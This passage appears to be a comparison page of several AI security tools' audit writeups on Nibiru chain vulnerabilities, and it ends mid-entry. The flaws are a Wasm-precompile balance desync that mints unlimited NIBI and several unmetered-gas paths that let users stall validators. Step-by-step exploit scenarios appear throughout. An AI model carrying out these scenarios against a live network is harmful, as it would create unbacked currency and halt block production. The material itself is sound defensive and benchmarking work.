1) Attacker has account A with B unibi and a wasm contract W they can later withdraw from (instantiated from any permitted code id, for example through the instantiate precompile or a normal MsgInstantiateContract). 2) A sends an Ethereum tx to the Wasm precompile 0x...0802 with value = 1e12 wei (1 unibi; this journals a balanceChange so A becomes a dirty StateDB account with cached balance B-fee-1) and calldata execute(W, msg, [{denom:"unibi", amount:X}]) with X <= B. 3) wasm Execute calls bank TransferCoins(A -> W, X), so the bank balance of A drops to B-fee-X. 4) At the end of ApplyEvmMsg, StateDB.Commit sets A's balance to the cached B-fee-1, minting X-1 unibi to A through the evm module account. 5) A keeps its balance and W holds X new unibi. Repeating roughly doubles A's holdings per tx. The mirror case (coins received by a dirty account via the precompile) is burned/lost instead.
- Recommendation
-
Before invoking any state-mutating precompile, flush the StateDB journal into the ctx (or run the precompile on a cache ctx and commit/sync it to the StateDB), and after it returns drop/reload cached stateObjects so later reads see bank changes. Alternatively make StateDB.Commit write only deltas it actually made instead of forcing absolute balances, and add invariant checks on total supply in tests.
Claude Security (Opus 5.5)
Wasm precompile moves unibi underneath the StateDB; Commit's SetAccBalance re-mints the spent funds (infinite NIBI mint)
x/evm/precompile/wasm.go:161Predicted severity: Critical- Root cause
-
Vulnerable symbol: precompileWasm.execute
Preconditions: Attacker can send an EVM tx with nonzero value, or call from a contract whose balance is dirty in the StateDB; Any wasm contract that accepts funds (the attacker can deploy one)
Offending code:
data, err := p.Wasm.Execute(ctx, wasmContract, callerBech32, msgArgs, funds)
- Impact
-
Unbounded minting of the native gas and staking token NIBI by any user. This breaks total supply, staking security and every market denominated in NIBI.
- Description
-
execute, executeMulti and instantiate send attacker-chosen bank funds from the EVM caller's account directly on ctx. If the outer StateDB has a dirty cached balance for that caller, StateDB.Commit calls SetAccount -> SetAccBalance with the stale balance. SetAccBalance mints the difference against the now-lower bank balance.
- Exploit scenario
-
An EOA holding B unibi sends a tx to 0x...802 with msg.value = 1 micronibi. core.Transfer calls SubBalance, which marks the caller's stateObject dirty with cached balance B-1. The calldata is execute(W, msg, [{unibi, B-2}]), where W is an attacker-controlled CosmWasm contract (for example a forwarder or vault). Bank moves B-2 unibi to W. At commit, SetAccBalance sees target B-1 against an actual balance of 1 and mints B-2 unibi back to the caller. W holds B-2, the caller holds about B, and every iteration doubles the attacker's NIBI. The opposite direction burns funds: a wasm contract that pays into a dirty EVM account has the payment erased at commit.
- Recommendation
-
Make precompiles StateDB-aware. Before calling into Cosmos modules, commit the StateDB's dirty accounts to ctx, or run on a cache ctx and afterwards reload or mark affected accounts so Commit does not overwrite bank balances. Alternatively, express bank transfers through StateDB.SubBalance/AddBalance. Never let SetAccBalance mint against an independently changed bank balance.
Vercel Security Review
Wasm spending is overwritten by stale EVM balances, minting native tokens
x/evm/precompile/wasm.go:160Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new precompile spends bank funds outside the EVM balance cache** -
x/evm/precompile/wasm.go:160-161```go title="x/evm/precompile/wasm.go:160-161"
callerBech32 := eth.EthAddrToNibiruAddr(caller)
data, err := p.Wasm.Execute(ctx, wasmContract, callerBech32, msgArgs, funds)
```
An attacker funds their EVM contract, dirties its storage, then supplies unibi to their Wasm contract. The bank debit never updates its cached EVM balance.
**2. Successful execution writes the stale account balance back** -
x/evm/statedb/statedb.go:465-467```go title="x/evm/statedb/statedb.go:465-467"
if err := s.keeper.SetAccount(s.ctx, obj.Address(), obj.account.ToNative()); err != nil {
return errorf("failed to set account: %w")
}
```
**3. Restoring that balance mints replacement unibi** -
x/evm/keeper/statedb.go:78-81```go title="x/evm/keeper/statedb.go:78-81"
case 1:
// mint
coins := sdk.NewCoins(sdk.NewCoin(params.EvmDenom, sdkmath.NewIntFromBigInt(delta)))
if err := k.bankKeeper.MintCoins(ctx, evm.ModuleName, coins); err != nil {
```
SetAccountcallsSetAccBalanceat line 129; its positive delta restores the spent funds while the Wasm recipient retains them. Repetition creates unbacked native currency. - Exploit scenario
-
Not specified.
- Recommendation
-
Synchronize native bank balance changes with the active EVM StateDB. Before Wasm execution, make pending EVM balances visible consistently; journal and reconcile all native balance changes afterward so commit cannot restore stale balances. Do not fix this by merely suppressing balance writes, which would lose legitimate EVM transfers. Test SSTORE plus Wasm spending and subsequent EVM balance operations for supply conservation.
-
On-chain gas limit estimation for internal EVM calls can be abused for DoS nibiru-5 · 6 writeups High
V12
Nested contract execution bypasses enclosing gas accounting
x/evm/keeper/erc20.go:181Predicted severity: Medium- Root cause
-
The adapter fails to bridge independent EVM execution gas back into the enclosing SDK/EVM budget. Fixed precompile gas pricing excludes the adapter's user-controlled execution and binary-search work.
- Impact
-
Inference: a mapped token with a computation-heavy transfer lets an external caller force validators to perform substantial nested EVM work for the precompile's much smaller fixed charge. Repeated precompile invocations and their estimation probes amplify validator CPU consumption without corresponding transaction or block gas accounting, threatening processing availability.
- Description
-
Keeper-driven contract calls obtain their own EVM gas limit and return a
GasUsedvalue, but the adapter never charges that value to the enclosing SDK gas meter. The FunToken precompile similarly charges a fixed 42,000 EVM gas while invoking the ERC20 adapter, which runs its own independent EVM and gas-estimation loop. An arbitrary mapped ERC20 can therefore execute expensive computational work during its transfer without reducing the outer EVM's remaining gas by that work. The normal Ethereum transaction path meters its outer response, but that response excludes gas consumed in these independent executions. The default inner limit of 25,000,000 bounds each execution, not the accumulated work authorized by an outer transaction.
Devin Security
Module-initiated EVM calls into user-supplied ERC20 contracts do not charge EVM gas to the Cosmos transaction
x/evm/keeper/erc20.go:167Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A user can make every validator run up to tens of millions of EVM gas worth of work per message while paying only a small Cosmos fee, which can slow block production.
##### What's wrong
This is unmetered computation.
CallContractWithInputruns an EVM message with a 25,000,000 gas limit, plus a binary-search gas estimate when it commits. The EVM gas it uses is never consumed on the Cosmos transaction's gas meter. Only key-value store reads and writes are charged.##### Who can do it
Mallory deploys an ERC20 whose
balanceOf,transfer,name,symbolanddecimalsfunctions spin in loops until they nearly run out of gas. She pays the creation fee once and creates a FunToken mapping for it withMsgCreateFunToken. She then sends many cheapMsgConvertCoinToEvmmessages for the matchingerc20/...bank coin.- Mallory has a funded account and pays the FunToken creation fee once.
- Mallory holds a small amount of the
erc20/<her contract>bank coin.##### What they get
Each conversion runs three
balanceOfcalls at up to 25M gas each. It also runs atransferwhose gas estimate repeats the call about 25 times. Validators do this work for almost no fee, so block times can grow. This affects availability only. No funds are lost.##### How it works
1.
convertCoinNativeERC20callsBalanceOfandTransferon the mapped contract in x/evm/keeper/msg_server.go:593-644.2.
CallContractWithInputsets the gas limit toDefaultEthCallGasLimit(25,000,000) in x/evm/keeper/erc20.go:183.3. For commits,
computeCommitGasLimitrunsEstimateGasForEvmCallType, which binary-searches by executing the call repeatedly, in x/evm/keeper/erc20.go:241-276.4.
ApplyEvmMsgreturnsGasUsed, butCallContractWithInputnever consumes it onctx.GasMeter()in x/evm/keeper/erc20.go:217-228. - Exploit scenario
-
Not specified.
- Recommendation
-
Consume
evmResp.GasUsedonctx.GasMeter()after each module-initiated call, including the estimation runs, as upstream did in PR #2180. Bound the gas limit by the remaining Cosmos gas. Add a test that a conversion against a gas-burning ERC20 fails with out-of-gas when the Cosmos gas limit is low.
Devin Security (Deep)
bankSend charges a flat 42,000 gas but triggers dozens of full nested EVM executions, letting one transaction consume far more compute than it pays for
x/evm/precompile/funtoken.go:35Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can make every node in the network do hundreds of times more work than the gas they pay for, slowing or stalling block production, without gaining funds or data.
##### What's wrong
This is underpriced computation.
RequiredGasforbankSendis a flat2 * TxGas. The call then performs a nestedERC20().Transfer(and for coin-backed FunTokens aBurn), each of which runscomputeCommitGasLimit's binary-search gas estimation (about 25 full EVM executions up to the 25M cap) plus the real execution, none of which is charged to the outer transaction's gas.##### Who can do it
Mallory, any EVM user, deploys an ERC20 whose
transferburns close to 25M gas of computation, creates a FunToken for it, and sends one transaction that loops overbankSendhundreds of times.- She needs enough gas for the outer loop only (about 42,000 gas per call plus call overhead).
##### What they get
Each
bankSendcosts her ~42k gas but makes every node execute roughly 26 × 25M gas of EVM work. A single block-gas-limit transaction can translate into hours of CPU time per node, causing missed blocks or a stalled chain. No funds are stolen.##### How it works
1.
RequiredGasreturns a constant2 * TxGasregardless of what the nested calls will do (x/evm/precompile/funtoken.go:36-46).2.
bankSendcallsERC20().Transfer, which goes throughCallContractWithInputwithcommit=true(x/evm/precompile/funtoken.go:162; x/evm/keeper/erc20.go:73-93).3.
computeCommitGasLimitrunsEstimateGasForEvmCallType, binary-searching with up toDefaultEthCallGasLimit(25M) gas per iteration; none of this gas is deducted from the outer EVM call (x/evm/keeper/erc20.go:183-189, 241-277). - Exploit scenario
-
Not specified.
- Recommendation
-
Bound nested calls by the outer call's remaining gas: pass
contract.Gas(minus a margin) as the gas limit for the innerApplyEvmMsginstead of estimating, and deduct the innerGasUsedfrom the precompile's returned gas. Drop the binary-search estimation for in-transaction calls. Verify with a test that abankSendagainst an ERC20 whosetransferloops until out of gas fails when the outer call's gas is small and consumes gas proportional to the inner work.
Claude Security (Sonnet 5.5)
Module-initiated ERC20 calls run unmetered EVM code and a ~25-probe gas-estimation binary search, giving a cheap chain-halting amplifier via attacker-controlled ERC20s
x/evm/keeper/erc20.go:264Predicted severity: High- Root cause
-
Vulnerable symbol: computeCommitGasLimit
Preconditions: Attacker can pay the FunToken creation fee (default 10,000 NIBI) and deploy an ERC20; Estimated CPU cost of the EVM interpreter on all validators is similar (about 5-15 s per estimation sequence is an estimate, not measured)
Offending code:
gasRes, err := k.EstimateGasForEvmCallType(
- Impact
-
Chain-wide liveness failure/halt for the price of the FunToken creation fee plus negligible gas; also underpricing of EVM compute relative to block gas limits.
- Description
-
Any user can register an attacker-written ERC20 as a FunToken. State-transition paths (the bankSend precompile, MsgConvertCoinToEvm, FunToken creation) then call that contract with a 25M gas cap and first estimate gas by binary search, executing the contract about 25 times, but charge only a flat 42000 EVM gas (precompile) or ordinary Cosmos store gas (message path).
- Exploit scenario
-
Attacker pays the FunToken creation fee (default 10,000 NIBI, burned) to map a malicious ERC20 M whose transfer/balanceOf burn all supplied gas. (a) A contract loops
bankSend(M, ...)in try/catch inside one EVM tx; each iteration costs 42000 EVM gas but forces roughly 25 estimation probes of up to 25M gas plus the final run (hundreds of millions of EVM gas of CPU). (b) Or the attacker submits many ordinary MsgConvertCoinToEvm txs for erc20/M; each costs about one cheap Cosmos tx of gas but triggers the same work in DeliverTx. Blocks then take minutes to hours to execute on every validator. - Recommendation
-
Do not estimate gas inside state transitions; call module-initiated ERC20 methods with a small fixed gas cap and charge the consumed EVM gas to the outer gas meter (EVM or Cosmos). Bound nested precompile calls by the caller's remaining gas and price the precompile by actual work. Consider restricting FunToken creation to audited tokens or require ERC20s to pass checks.
Claude Security (Opus 5.5)
Nested EVM executions from native code (precompile bankSend, ConvertCoinToEvm, CreateFunToken) get a 25M gas cap plus a binary-search estimate and are never charged
x/evm/keeper/erc20.go:217Predicted severity: High- Root cause
-
Vulnerable symbol: Keeper.CallContractWithInput
Preconditions: Attacker controls an ERC20 and either pays the CreateFunToken fee once or holds 10k NIBI for the failing-creation path
Offending code:
evmResp, err = k.ApplyEvmMsg(
- Impact
-
Large compute amplification that lets an unprivileged user slow or halt block production (chain liveness).
- Description
-
CallContractWithInput hard-codes DefaultEthCallGasLimit (25M). For commit calls it runs a full EstimateGas binary search (about 25 executions) and then executes again, but evmResp.GasUsed is never consumed from ctx.GasMeter(). The FunToken precompile charges a flat 42,000 gas for all of it.
- Exploit scenario
-
The attacker deploys an ERC20 whose transfer() burns about 24M gas before returning true, and maps it with CreateFunToken. In a 30M-gas EVM tx, a contract calls bankSend about 700 times at roughly 42k gas each. Each call triggers about 25 binary-search runs plus a commit run of up to 24M gas, roughly 6e8 gas of unpaid compute per call and about 4e11 per tx, which stalls block execution. Without paying the mapping fee: CreateFunToken only needs the 10k NIBI fee balance, which is refunded when the msg fails. With name() and symbol() each burning about 24M gas and decimals() reverting, every cheap failing Cosmos tx forces about 48M gas of unmetered EVM work.
- Recommendation
-
Consume evmResp.GasUsed, and the estimation cost, from ctx.GasMeter() in CallContractWithInput. Derive the nested gas limit from the caller's remaining gas instead of a fixed 25M. Make the precompile's RequiredGas or the EVM's gas accounting reflect nested execution, and drop the per-call binary search.
Vercel Security Review
FunToken charges fixed gas for independently metered ERC20 execution
x/evm/precompile/funtoken.go:45Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. bankSend is charged a constant 42,000 gas** -
x/evm/precompile/funtoken.go:45```go title="x/evm/precompile/funtoken.go:45"
return gethparams.TxGas * 2
```
**2. Its ERC20 transfer receives an independent execution allowance** -
x/evm/keeper/erc20.go:183-186```go title="x/evm/keeper/erc20.go:183-186"
gasLimit := serverconfig.DefaultEthCallGasLimit
gasLimit, err = computeCommitGasLimit(
commit, gasLimit, &fromAcc, contract, contractInput, k, ctx,
)
```
This allows up to 25 million gas plus binary-search estimation work, irrespective of the outer precompile's remaining gas.
**3. Runtime gas usage is discarded** -
x/evm/keeper/erc20.go:92```go title="x/evm/keeper/erc20.go:92"
return erc20Bool.Value, nil
```
Only the transfer's boolean reaches bankSend; its EVM GasUsed never reduces the calling contract's gas. An attacker can register an ERC20 with computationally expensive successful transfers and repeatedly call bankSend, imposing validator work far exceeding transaction/block gas accounting.
- Exploit scenario
-
Not specified.
- Recommendation
-
Execute ERC20 calls inside the active EVM with gas drawn from the caller's remaining gas, and return unused gas normally. Avoid binary-search gas estimation during consensus execution. If keeper calls remain, enforce a caller-derived finite budget and charge all nested execution work before returning.
-
Gas spent in internal EVM calls is not charged to the user for MsgCreateFunToken and MsgConvertCoinToEvm nibiru-6 · 4 writeups High
V12
Token accessor execution bypasses transaction gas accounting
app/server/config/server_config.go:61Predicted severity: High- Root cause
-
Keeper-internal EVM simulations use a fixed execution allowance and discard
MsgEthereumTxResponse.GasUsedrather than debiting the enclosing SDK gas meter. The SDK-facing registration and conversion entrypoints therefore omit the EVM execution work from their gas accounting. - Impact
-
Inference: user-selected token implementations can amplify validator CPU and memory work relative to transaction and block gas accounting, degrading block processing availability through repeated registration attempts or conversions. The per-call EVM limit bounds each execution, but does not bound cumulative accessor work by the enclosing SDK transaction's purchased gas; no permanent chain halt is claimed.
- Description
-
Noncommitting ERC20 accessor calls always receive the fixed
DefaultEthCallGasLimitof 25,000,000, independently of the surrounding Cosmos transaction's remaining gas.ApplyEvmMsgcomputes EVM gas usage and returns it inMsgEthereumTxResponse, butCallContractWithInputand the balance and metadata loaders never charge that usage to the SDK gas meter. Registration calls three accessors, and ERC20-origin redemption calls three balance accessors in addition to its transfer operation. A token can spend nearly the entire per-call allowance in arithmetic or memory operations and still return valid ABI data without proportionate SDK store work. Consequently, the on-chain caller's charged gas does not account for the execution work performed by these reads.
Devin Security
Module-initiated EVM calls into user-supplied ERC20 contracts do not charge EVM gas to the Cosmos transaction
x/evm/keeper/erc20.go:167Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A user can make every validator run up to tens of millions of EVM gas worth of work per message while paying only a small Cosmos fee, which can slow block production.
##### What's wrong
This is unmetered computation.
CallContractWithInputruns an EVM message with a 25,000,000 gas limit, plus a binary-search gas estimate when it commits. The EVM gas it uses is never consumed on the Cosmos transaction's gas meter. Only key-value store reads and writes are charged.##### Who can do it
Mallory deploys an ERC20 whose
balanceOf,transfer,name,symbolanddecimalsfunctions spin in loops until they nearly run out of gas. She pays the creation fee once and creates a FunToken mapping for it withMsgCreateFunToken. She then sends many cheapMsgConvertCoinToEvmmessages for the matchingerc20/...bank coin.- Mallory has a funded account and pays the FunToken creation fee once.
- Mallory holds a small amount of the
erc20/<her contract>bank coin.##### What they get
Each conversion runs three
balanceOfcalls at up to 25M gas each. It also runs atransferwhose gas estimate repeats the call about 25 times. Validators do this work for almost no fee, so block times can grow. This affects availability only. No funds are lost.##### How it works
1.
convertCoinNativeERC20callsBalanceOfandTransferon the mapped contract in x/evm/keeper/msg_server.go:593-644.2.
CallContractWithInputsets the gas limit toDefaultEthCallGasLimit(25,000,000) in x/evm/keeper/erc20.go:183.3. For commits,
computeCommitGasLimitrunsEstimateGasForEvmCallType, which binary-searches by executing the call repeatedly, in x/evm/keeper/erc20.go:241-276.4.
ApplyEvmMsgreturnsGasUsed, butCallContractWithInputnever consumes it onctx.GasMeter()in x/evm/keeper/erc20.go:217-228. - Exploit scenario
-
Not specified.
- Recommendation
-
Consume
evmResp.GasUsedonctx.GasMeter()after each module-initiated call, including the estimation runs, as upstream did in PR #2180. Bound the gas limit by the remaining Cosmos gas. Add a test that a conversion against a gas-burning ERC20 fails with out-of-gas when the Cosmos gas limit is low.
Claude Security (Sonnet 5.5)
Module-initiated ERC20 calls run unmetered EVM code and a ~25-probe gas-estimation binary search, giving a cheap chain-halting amplifier via attacker-controlled ERC20s
x/evm/keeper/erc20.go:264Predicted severity: High- Root cause
-
Vulnerable symbol: computeCommitGasLimit
Preconditions: Attacker can pay the FunToken creation fee (default 10,000 NIBI) and deploy an ERC20; Estimated CPU cost of the EVM interpreter on all validators is similar (about 5-15 s per estimation sequence is an estimate, not measured)
Offending code:
gasRes, err := k.EstimateGasForEvmCallType(
- Impact
-
Chain-wide liveness failure/halt for the price of the FunToken creation fee plus negligible gas; also underpricing of EVM compute relative to block gas limits.
- Description
-
Any user can register an attacker-written ERC20 as a FunToken. State-transition paths (the bankSend precompile, MsgConvertCoinToEvm, FunToken creation) then call that contract with a 25M gas cap and first estimate gas by binary search, executing the contract about 25 times, but charge only a flat 42000 EVM gas (precompile) or ordinary Cosmos store gas (message path).
- Exploit scenario
-
Attacker pays the FunToken creation fee (default 10,000 NIBI, burned) to map a malicious ERC20 M whose transfer/balanceOf burn all supplied gas. (a) A contract loops
bankSend(M, ...)in try/catch inside one EVM tx; each iteration costs 42000 EVM gas but forces roughly 25 estimation probes of up to 25M gas plus the final run (hundreds of millions of EVM gas of CPU). (b) Or the attacker submits many ordinary MsgConvertCoinToEvm txs for erc20/M; each costs about one cheap Cosmos tx of gas but triggers the same work in DeliverTx. Blocks then take minutes to hours to execute on every validator. - Recommendation
-
Do not estimate gas inside state transitions; call module-initiated ERC20 methods with a small fixed gas cap and charge the consumed EVM gas to the outer gas meter (EVM or Cosmos). Bound nested precompile calls by the caller's remaining gas and price the precompile by actual work. Consider restricting FunToken creation to audited tokens or require ERC20s to pass checks.
Claude Security (Opus 5.5)
Nested EVM executions from native code (precompile bankSend, ConvertCoinToEvm, CreateFunToken) get a 25M gas cap plus a binary-search estimate and are never charged
x/evm/keeper/erc20.go:217Predicted severity: High- Root cause
-
Vulnerable symbol: Keeper.CallContractWithInput
Preconditions: Attacker controls an ERC20 and either pays the CreateFunToken fee once or holds 10k NIBI for the failing-creation path
Offending code:
evmResp, err = k.ApplyEvmMsg(
- Impact
-
Large compute amplification that lets an unprivileged user slow or halt block production (chain liveness).
- Description
-
CallContractWithInput hard-codes DefaultEthCallGasLimit (25M). For commit calls it runs a full EstimateGas binary search (about 25 executions) and then executes again, but evmResp.GasUsed is never consumed from ctx.GasMeter(). The FunToken precompile charges a flat 42,000 gas for all of it.
- Exploit scenario
-
The attacker deploys an ERC20 whose transfer() burns about 24M gas before returning true, and maps it with CreateFunToken. In a 30M-gas EVM tx, a contract calls bankSend about 700 times at roughly 42k gas each. Each call triggers about 25 binary-search runs plus a commit run of up to 24M gas, roughly 6e8 gas of unpaid compute per call and about 4e11 per tx, which stalls block execution. Without paying the mapping fee: CreateFunToken only needs the 10k NIBI fee balance, which is refunded when the msg fails. With name() and symbol() each burning about 24M gas and decimals() reverting, every cheap failing Cosmos tx forces about 48M gas of unmetered EVM work.
- Recommendation
-
Consume evmResp.GasUsed, and the estimation cost, from ctx.GasMeter() in CallContractWithInput. Derive the nested gas limit from the caller's remaining gas instead of a fixed 25M. Make the precompile's RequiredGas or the EVM's gas accounting reflect nested execution, and drop the per-call binary search.
-
Precompiles use the global Cosmos gas meter instead of a local meter, allowing gas-limit evasion nibiru-7 · 6 writeups High
V12
Wasm precompiles inherit an unenforced execution budget
app/evmante/evmante_gas_consume.go:150Predicted severity: Informational- Root cause
-
The custom Wasm precompile inherits an SDK meter whose configured limit is informational only. The cross-VM call does not bind native execution work to the remaining EVM gas budget in the repository-local code.
- Impact
-
An externally invoked Wasm contract can plausibly perform work beyond the gas purchased for its EVM precompile call, degrading transaction or node availability. Whether this permits unbounded execution rather than bounded undercharging depends on the absent wasmd/wasmvm execution-budget implementation; the searched boundary includes Ethereum ante metering, EVM construction, StateDB context access and all repository-local precompile gas handling.
- Description
-
The Ethereum ante path installs
InfiniteGasMeteron the SDK context before execution, andNewEVMexposes that execution context to custom precompiles throughStateDB. The meter tracks gas consumption but never enforces its nominal limit, always reports that it is not out of gas, and returnsMaxUint64as remaining gas. The Wasm precompile passes this context directly intoWasm.Executewithout replacing the meter or deriving a budget from the EVM call's remaining gas. Its advertised EVM cost is based on input length and flat storage pricing rather than the executed Wasm work. This establishes an unenforced host-side execution budget at the cross-VM boundary, while the external Wasm keeper's independent limits remain unverified.
Codex Security (GPT-6 Sol)
EVM gas accounting does not bound Wasm precompile work
x/evm/precompile/wasm.go:69Predicted severity: High- Root cause
-
Calldata-based RequiredGas charges EVM gas while executeMulti runs Wasm in loop under InfiniteGasMeter.
- Impact
-
An EVM caller can trigger Wasm and nested ERC20 execution that consumes validator resources beyond the gas charged to the transaction or block. EVM gas and calldata limit count calls/input but may not account for downstream Wasm work.
- Description
-
An EVM caller can trigger Wasm and nested ERC20 execution that consumes validator resources beyond the gas charged to the transaction or block.
- Exploit scenario
-
Calldata-based RequiredGas charges EVM gas while executeMulti runs Wasm in loop under InfiniteGasMeter.
- Recommendation
-
Charge actual Wasm and nested EVM work to the outer EVM gas budget and enforce the native gas meter.
Devin Security (Deep)
Wasm precompile runs Wasm contracts on the infinite EVM gas meter for a flat EVM gas price
x/evm/precompile/wasm.go:69Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can send an Ethereum transaction can make every validator run large amounts of Wasm computation while paying only a few thousand EVM gas per call, which lets them underpay for execution by orders of magnitude and slow block production for the whole network.
##### What's wrong
This is missing gas accounting for nested execution. The Wasm precompile charges a flat EVM gas price based only on input length, then runs the Wasm contract on the SDK context taken from the StateDB. That context carries the infinite gas meter that the EVM ante chain installed, so the Wasm VM is handed
gasWanted - consumedSDK gas (up to the whole block gas limit), its real gas use is never deducted from the EVM call's gas, and the meter never panics.##### Who can do it
Alice runs a validator for the Nibiru network. Mallory is anyone with a funded Ethereum wallet. She deploys a Wasm contract that loops for as long as its gas allows and an EVM contract that calls the Wasm precompile
executeon it in a loop. She then sends one Ethereum transaction to her EVM contract.Conditions that must hold:
- Mallory can deploy or find a Wasm contract that does heavy computation (Wasm code upload permissions allow it, or any existing compute heavy contract works).
- Her Ethereum transaction has a gas limit near the block gas limit so the inner Wasm call receives a large SDK gas budget.
##### What they get
Mallory makes Alice's node, and every other validator, spend roughly the full block gas budget of Wasm CPU time per precompile call while she pays only the flat precompile cost in EVM gas. Each block can hold many such transactions because their reported EVM gas use is tiny, so block execution time grows far beyond what the block gas limit is meant to allow, slowing or stalling the chain. She also gets large amounts of Wasm execution for a fraction of the fee that a normal Cosmos transaction would pay, which is lost fee income for Alice and the other validators.
##### How it works
1.
EthSetupContextDecoratorinstalls an infinite SDK gas meter and zero KV gas configs for every EVM transaction (app/evmante/evmante_setup_ctx.go:40-42), andAnteDecEthGasConsumereplaces it withNewInfiniteGasMeterWithLimit(gasWanted)whoseConsumeGasnever panics and whoseIsOutOfGasis always false (app/evmante/evmante_gas_consume.go:151, eth/gas_limit.go:45-50, 102-109, 135-137).2. Mallory's EVM contract calls the Wasm precompile; geth deducts only
RequiredGas, which is a flat write cost plus a per byte cost on the input (x/evm/precompile/precompile.go:109-132, x/evm/precompile/wasm.go:70-72).3.
Runtakes the SDK context from the StateDB and callsp.Wasm.Executewith it (x/evm/precompile/wasm.go:97-101, 161).4. The wasmd keeper sizes the Wasm VM gas budget from that context's meter limit minus consumed gas, so the contract receives up to the EVM transaction's full gas limit in SDK gas, and when it finishes the keeper consumes that gas on the infinite meter without any effect on the EVM call's remaining gas.
5. The EVM call returns having spent a few thousand EVM gas; the transaction's reported gas use and the block gas meter do not reflect the Wasm work, so Mallory repeats the call in a loop and across many transactions in one block.
- Exploit scenario
-
Not specified.
- Recommendation
-
In every precompile that calls into Cosmos keepers (
wasm.go,funtoken.go,oracle.go), wrap the StateDB context with a fresh bounded gas meter before calling the keeper (ctx.WithGasMeter(sdk.NewGasMeter(contract.Gas))with normal KV gas configs), then after the call charge the SDK gas consumed to the EVM call withcontract.UseGas(ctx.GasMeter().GasConsumed())and fail the call if it cannot pay. KeepRequiredGasas the floor. Verify with a test that callsexecuteon a Wasm contract that burns a known amount of gas and asserts that the EVM call's gas used grows by at least that amount, and that an EVM call with too little remaining gas fails with out of gas instead of completing.
Claude Security (Sonnet 5.5)
Wasm precompile query runs the CosmWasm VM on the eth_call ctx, which has an infinite gas meter, so wasm gas is unbounded
x/evm/precompile/wasm.go:199Predicted severity: Medium- Root cause
-
Vulnerable symbol: precompileWasm.query
Preconditions: JSON-RPC or gRPC enabled on the target node; Attacker can upload or instantiate a looping wasm contract (default wasmd params allow everybody; governance may restrict this); wasmd treats an infinite gas meter as MaxUint64 runtime gas (believed, not verified offline)
Offending code:
respBz, err := p.Wasm.QuerySmart(ctx, wasmContract, req)
- Impact
-
Unauthenticated denial of service of RPC/gRPC nodes (resource exhaustion); consensus is not affected because the unlimited ctx is only used in query paths.
- Description
-
EthCall executes ApplyEvmMsg on the raw gRPC query ctx, whose gas meter is infinite and is never replaced. The Wasm precompile passes that ctx straight to the wasm keeper, which (by wasmd's runtimeGasForContract) hands the VM an effectively unlimited gas budget, bypassing the smart_query_gas_limit that normal wasm queries get.
- Exploit scenario
-
Attacker uploads a CosmWasm contract whose query handler loops forever, then repeatedly sends eth_call (or gRPC EthCall) to the Wasm precompile
query(contract, req)on a public JSON-RPC/gRPC node. Each request pins a CPU core indefinitely. - Recommendation
-
Wrap the ctx passed to wasm in the precompile with a bounded gas meter derived from the remaining EVM gas (or the wasm smart-query gas limit), and add an overall cancellation/timeout for eth_call execution.
Claude Security (Opus 5.5)
Wasm precompile execution gas is consumed on an infinite gas meter that ApplyEvmTx resets, so CosmWasm compute from the EVM is unpaid and not counted toward the block limit
x/evm/precompile/wasm.go:71Predicted severity: Medium- Root cause
-
Vulnerable symbol: precompileWasm.RequiredGas
Preconditions: Attacker can send EVM txs and point them at any wasm contract (or deploy one)
Offending code:
return RequiredGas(input, embeds.SmartContract_Wasm.ABI)
- Impact
-
Unpaid compute and a block-gas-limit bypass that unprivileged users can use to degrade or halt block production.
- Description
-
The precompile charges only a byte-based KV cost (about 2000 + 30*len). Wasm then runs on ctx, whose gas meter is the EVM ante's InfiniteGasMeterWithLimit(gasWanted), so wasm gets the whole tx gas limit as budget. ApplyEvmTx then overwrites the meter with the EVM gasUsed only, so fees, refunds and block gas ignore the wasm work.
- Exploit scenario
-
The attacker sends EVM txs with gasLimit near the block max that call wasm.execute or query on a CPU-heavy wasm contract. Each tx is charged about 50k EVM gas, with the rest refunded, and adds only 50k to the block gas meter. Yet it runs up to gasLimit worth of wasm gas. Hundreds of these fit in one block, multiplying validator work far beyond the block gas limit.
- Recommendation
-
After each wasm call, measure the SDK gas consumed and deduct it from the EVM contract's gas (or include it in evmResp.GasUsed). Alternatively run wasm with a gas meter bounded by the precompile's remaining EVM gas.
Vercel Security Review
Wasm precompile execution bypasses transaction and block gas accounting
x/evm/precompile/precompile.go:130Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new Wasm precompile prices input bytes, not execution** -
x/evm/precompile/precompile.go:130-131```go title="x/evm/precompile/precompile.go:130-131"
argsBzLen := uint64(len(input[4:]))
return (costPerByte * argsBzLen) + costFlat
```
**2. Arbitrary Wasm runs without charging its work to EVM gas** -
x/evm/precompile/wasm.go:160-161```go title="x/evm/precompile/wasm.go:160-161"
callerBech32 := eth.EthAddrToNibiruAddr(caller)
data, err := p.Wasm.Execute(ctx, wasmContract, callerBech32, msgArgs, funds)
```
The inherited SDK meter is unenforced (
app/evmante/evmante_gas_consume.go:150-152;eth/gas_limit.go:106-112). Nocontract.UseGasaccounts for Wasm consumption.**3. Accrued SDK consumption is discarded afterward** -
x/evm/keeper/gas_fees.go:76-77```go title="x/evm/keeper/gas_fees.go:76-77"
ctx.GasMeter().RefundGas(ctx.GasMeter().GasConsumed(), "reset the gas count")
ctx.GasMeter().ConsumeGas(gasUsed, "apply evm transaction")
```
A signer able to invoke expensive Wasm code can repeatedly purchase small EVM calls while imposing disproportionately large validator work outside transaction/block gas limits, stalling block processing.
- Exploit scenario
-
Not specified.
- Recommendation
-
Execute each native precompile with an enforced SDK gas meter bounded by the EVM call's remaining gas, convert gas units consistently, and deduct actual native consumption from the active vm.Contract. Preserve that consumption on failure and out-of-gas paths; include it in block gas accounting. Apply this to instantiate, execute, executeMulti, and query paths.
-
Cosmos SDK state changes made by precompiles are not reverted when the EVM call reverts nibiru-8 · 5 writeups High
V12
Caught reverts retain cross-VM custody mutations
x/evm/precompile/funtoken.go:67Predicted severity: High- Root cause
-
Stateful precompile effects and nested keeper EVM commits bypass the enclosing StateDB's rollback journal; the only SDK cache boundary is the full transaction, not each EVM call frame.
- Impact
-
